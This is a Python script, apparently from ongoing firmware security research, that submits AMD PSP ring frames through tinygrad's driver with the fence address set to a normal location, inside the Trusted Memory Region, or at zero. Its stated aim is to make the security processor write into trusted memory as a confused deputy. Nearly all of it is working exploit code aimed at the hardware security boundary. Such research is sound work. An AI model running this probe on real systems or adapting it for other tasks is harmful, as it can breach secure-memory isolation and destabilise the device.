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#!/usr/bin/env python3
"""Is the ring frame's fence_addr validated against the TMR?
Every test so far varied command CONTENT. The ring frame itself is host-controlled and
carries `fence_addr` -- an address the PSP WRITES the fence value to. `cmd_buf` is
range-checked against the trusted region (pass 87), but the fence address has never been
tested. If it is unchecked, the host can make the PSP write into trusted memory: a
confused-deputy write across the security boundary.
Cases (control first; a wedge is ATX-recoverable):
A normal fence address (control) -> command completes
B fence_addr inside the TMR -> if the command completes, the PSP wrote there
C fence_addr = 0 -> unmapped
"""
import ctypes, glob, struct, sys, time
sys.path.insert(0,'/root/psp/hw')
from tinygrad import Device
from tinygrad.helpers import wait_cond
import tinygrad.runtime.autogen.am.am as am
adev=Device["AMD"].iface.dev_impl; psp=adev.psp
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True,boot=False); return pa,adev.paddr2mc(pa)
frame_sz=ctypes.sizeof(am.struct_psp_gfx_rb_frame); step=frame_sz//4
tmr_mc=adev.paddr2mc(psp.tmr_paddr)
print('frame %d bytes; TMR at %#x'%(frame_sz,tmr_mc), flush=True)
def submit_with_fence(cmd, fence_mc, tag):
wmax=psp.ring_size//4
prev=adev.reg(f"{psp.reg_pref}_67").read()%wmax
msg=am.struct_psp_gfx_rb_frame(fence_value=prev+1,
cmd_buf_addr_lo=adev.paddr2mc(psp.cmd_paddr)&0xFFFFFFFF,
cmd_buf_addr_hi=adev.paddr2mc(psp.cmd_paddr)>>32,
fence_addr_lo=fence_mc&0xFFFFFFFF, fence_addr_hi=fence_mc>>32)
adev.vram.view(psp.cmd_paddr, ctypes.sizeof(cmd))[:]=memoryview(cmd).cast('B')
adev.vram.view(psp.ring_paddr+prev*4, ctypes.sizeof(msg))[:]=memoryview(msg).cast('B')
adev.reg(f"{psp.reg_pref}_67").write((prev+step)%wmax)
t0=time.time(); ok=True
try:
wait_cond(lambda: adev.vram.view(psp.fence_paddr,4,'I')[0], value=msg.fence_value,
timeout_ms=4000, msg="fence")
except Exception:
ok=False
dt=time.time()-t0
resp=am.struct_psp_gfx_cmd_resp.from_buffer(bytearray(
adev.vram.view(psp.cmd_paddr, ctypes.sizeof(cmd))[:]))
print(' %-34s fence=%#-14x resp=%#-10x own-fence-signalled=%s %.1fs'
%(tag,fence_mc,resp.resp.status&0xFFFFFFFF,ok,dt), flush=True)
return resp.resp.status&0xFFFFFFFF, ok
blob=open(glob.glob('/root/psp/contall/ta_42-0-0-6_1c874c3c*')[0],'rb').read()
ap_,amc=alloc(0x80000); cp,cmc=alloc(0x8000)
n=(len(blob)+3)&~3
adev.vram.view(ap_,n)[:]=blob+b'\x00'*(n-len(blob)); adev.gmc.flush_hdp()
def mk():
c=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t=c.cmd.cmd_load_ta
t.app_phy_addr_lo,t.app_phy_addr_hi=amc&0xFFFFFFFF,amc>>32; t.app_len=len(blob)
t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi=cmc&0xFFFFFFFF,cmc>>32; t.cmd_buf_len=0x4000
return c
submit_with_fence(mk(), adev.paddr2mc(psp.fence_paddr), 'A control: normal fence')
submit_with_fence(mk(), tmr_mc+0x2000, 'B fence_addr INSIDE the TMR')
submit_with_fence(mk(), 0, 'C fence_addr = 0')
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